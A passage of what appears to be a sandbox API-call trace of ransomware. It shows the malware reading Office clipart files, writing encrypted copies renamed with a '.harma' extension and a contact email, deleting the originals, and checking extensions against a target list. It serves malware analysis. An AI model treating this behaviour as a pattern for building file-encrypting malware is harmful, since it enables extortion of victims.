dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.294] GetLastError () returned 0x0 [0149.294] ReadFile (in: hFile=0x20c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x7992, lpOverlapped=0x0) returned 1 [0149.297] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0149.298] ReadFile (in: hFile=0x20c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0149.298] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.298] SetEndOfFile (hFile=0x2e8) returned 1 [0149.298] CloseHandle (hObject=0x2e8) returned 1 [0149.298] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.298] SetEndOfFile (hFile=0x20c) returned 1 [0149.301] CloseHandle (hObject=0x20c) returned 1 [0149.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0149.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.302] lstrlenW (lpString=".doc") returned 4 [0149.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.302] lstrlenW (lpString=".docx") returned 5 [0149.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.302] lstrlenW (lpString=".pdf") returned 4 [0149.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.302] lstrlenW (lpString=".xls") returned 4 [0149.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.302] lstrlenW (lpString=".xlsx") returned 5 [0149.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.302] lstrlenW (lpString=".ppt") returned 4 [0149.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.302] lstrlenW (lpString=".zip") returned 4 [0149.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.302] lstrlenW (lpString=".rar") returned 4 [0149.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.302] lstrlenW (lpString=".bz2") returned 4 [0149.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.303] lstrlenW (lpString=".7z") returned 3 [0149.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.303] lstrlenW (lpString=".dbf") returned 4 [0149.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.303] lstrlenW (lpString=".1cd") returned 4 [0149.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.303] lstrlenW (lpString=".jpg") returned 4 [0149.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.303] lstrlenW (lpString=".doc") returned 4 [0149.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.303] lstrlenW (lpString=".docx") returned 5 [0149.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.303] lstrlenW (lpString=".pdf") returned 4 [0149.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.303] lstrlenW (lpString=".xls") returned 4 [0149.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.303] lstrlenW (lpString=".xlsx") returned 5 [0149.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.303] lstrlenW (lpString=".ppt") returned 4 [0149.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.303] lstrlenW (lpString=".zip") returned 4 [0149.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.303] lstrlenW (lpString=".rar") returned 4 [0149.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.303] lstrlenW (lpString=".bz2") returned 4 [0149.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.304] lstrlenW (lpString=".7z") returned 3 [0149.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.304] lstrlenW (lpString=".dbf") returned 4 [0149.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.304] lstrlenW (lpString=".1cd") returned 4 [0149.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0149.304] lstrlenW (lpString=".jpg") returned 4 [0149.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.304] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.304] lstrlenW (lpString="DD00121_.WMF") returned 12 [0149.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0149.819] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=8256) returned 1 [0149.819] CloseHandle (hObject=0x364) returned 1 [0149.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0149.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.003] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.003] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.004] GetLastError () returned 0x0 [0150.004] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2040, lpOverlapped=0x0) returned 1 [0150.028] WriteFile (in: hFile=0x21c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2050, lpOverlapped=0x0) returned 1 [0150.029] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.029] WriteFile (in: hFile=0x21c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.029] SetEndOfFile (hFile=0x21c) returned 1 [0150.029] CloseHandle (hObject=0x21c) returned 1 [0150.029] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.029] SetEndOfFile (hFile=0x34c) returned 1 [0150.031] CloseHandle (hObject=0x34c) returned 1 [0150.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0150.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.080] lstrlenW (lpString=".doc") returned 4 [0150.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.080] lstrlenW (lpString=".docx") returned 5 [0150.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.080] lstrlenW (lpString=".pdf") returned 4 [0150.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.080] lstrlenW (lpString=".xls") returned 4 [0150.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.080] lstrlenW (lpString=".xlsx") returned 5 [0150.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.080] lstrlenW (lpString=".ppt") returned 4 [0150.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.080] lstrlenW (lpString=".zip") returned 4 [0150.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.080] lstrlenW (lpString=".rar") returned 4 [0150.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.081] lstrlenW (lpString=".bz2") returned 4 [0150.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.081] lstrlenW (lpString=".7z") returned 3 [0150.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.081] lstrlenW (lpString=".dbf") returned 4 [0150.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.081] lstrlenW (lpString=".1cd") returned 4 [0150.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.081] lstrlenW (lpString=".jpg") returned 4 [0150.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.081] lstrlenW (lpString=".doc") returned 4 [0150.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.081] lstrlenW (lpString=".docx") returned 5 [0150.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.081] lstrlenW (lpString=".pdf") returned 4 [0150.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.081] lstrlenW (lpString=".xls") returned 4 [0150.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.081] lstrlenW (lpString=".xlsx") returned 5 [0150.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.081] lstrlenW (lpString=".ppt") returned 4 [0150.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.081] lstrlenW (lpString=".zip") returned 4 [0150.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.081] lstrlenW (lpString=".rar") returned 4 [0150.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.081] lstrlenW (lpString=".bz2") returned 4 [0150.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.082] lstrlenW (lpString=".7z") returned 3 [0150.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.082] lstrlenW (lpString=".dbf") returned 4 [0150.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.082] lstrlenW (lpString=".1cd") returned 4 [0150.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0150.082] lstrlenW (lpString=".jpg") returned 4 [0150.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.082] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.082] lstrlenW (lpString="DD00414_.WMF") returned 12 [0150.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.093] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=42908) returned 1 [0150.093] CloseHandle (hObject=0x21c) returned 1 [0150.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0150.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.281] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.281] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.290] GetLastError () returned 0x0 [0150.290] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xa79c, lpOverlapped=0x0) returned 1 [0150.293] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xa7a0, lpOverlapped=0x0) returned 1 [0150.294] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.294] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.294] SetEndOfFile (hFile=0x2e8) returned 1 [0150.295] CloseHandle (hObject=0x2e8) returned 1 [0150.295] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.295] SetEndOfFile (hFile=0x21c) returned 1 [0150.297] CloseHandle (hObject=0x21c) returned 1 [0150.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.299] lstrlenW (lpString=".doc") returned 4 [0150.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.299] lstrlenW (lpString=".docx") returned 5 [0150.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.299] lstrlenW (lpString=".pdf") returned 4 [0150.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.299] lstrlenW (lpString=".xls") returned 4 [0150.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.299] lstrlenW (lpString=".xlsx") returned 5 [0150.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.299] lstrlenW (lpString=".ppt") returned 4 [0150.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.299] lstrlenW (lpString=".zip") returned 4 [0150.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.299] lstrlenW (lpString=".rar") returned 4 [0150.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.299] lstrlenW (lpString=".bz2") returned 4 [0150.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.299] lstrlenW (lpString=".7z") returned 3 [0150.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.299] lstrlenW (lpString=".dbf") returned 4 [0150.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.299] lstrlenW (lpString=".1cd") returned 4 [0150.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.300] lstrlenW (lpString=".jpg") returned 4 [0150.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.300] lstrlenW (lpString=".doc") returned 4 [0150.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.300] lstrlenW (lpString=".docx") returned 5 [0150.300] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.300] lstrlenW (lpString=".pdf") returned 4 [0150.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.300] lstrlenW (lpString=".xls") returned 4 [0150.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.300] lstrlenW (lpString=".xlsx") returned 5 [0150.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.300] lstrlenW (lpString=".ppt") returned 4 [0150.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.300] lstrlenW (lpString=".zip") returned 4 [0150.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.300] lstrlenW (lpString=".rar") returned 4 [0150.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.300] lstrlenW (lpString=".bz2") returned 4 [0150.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.300] lstrlenW (lpString=".7z") returned 3 [0150.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.300] lstrlenW (lpString=".dbf") returned 4 [0150.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.300] lstrlenW (lpString=".1cd") returned 4 [0150.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0150.301] lstrlenW (lpString=".jpg") returned 4 [0150.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.301] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.301] lstrlenW (lpString="DD00419_.WMF") returned 12 [0150.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.301] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=712) returned 1 [0150.301] CloseHandle (hObject=0x21c) returned 1 [0150.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0150.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.302] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.302] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.303] GetLastError () returned 0x0 [0150.303] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2c8, lpOverlapped=0x0) returned 1 [0150.304] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0150.305] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, 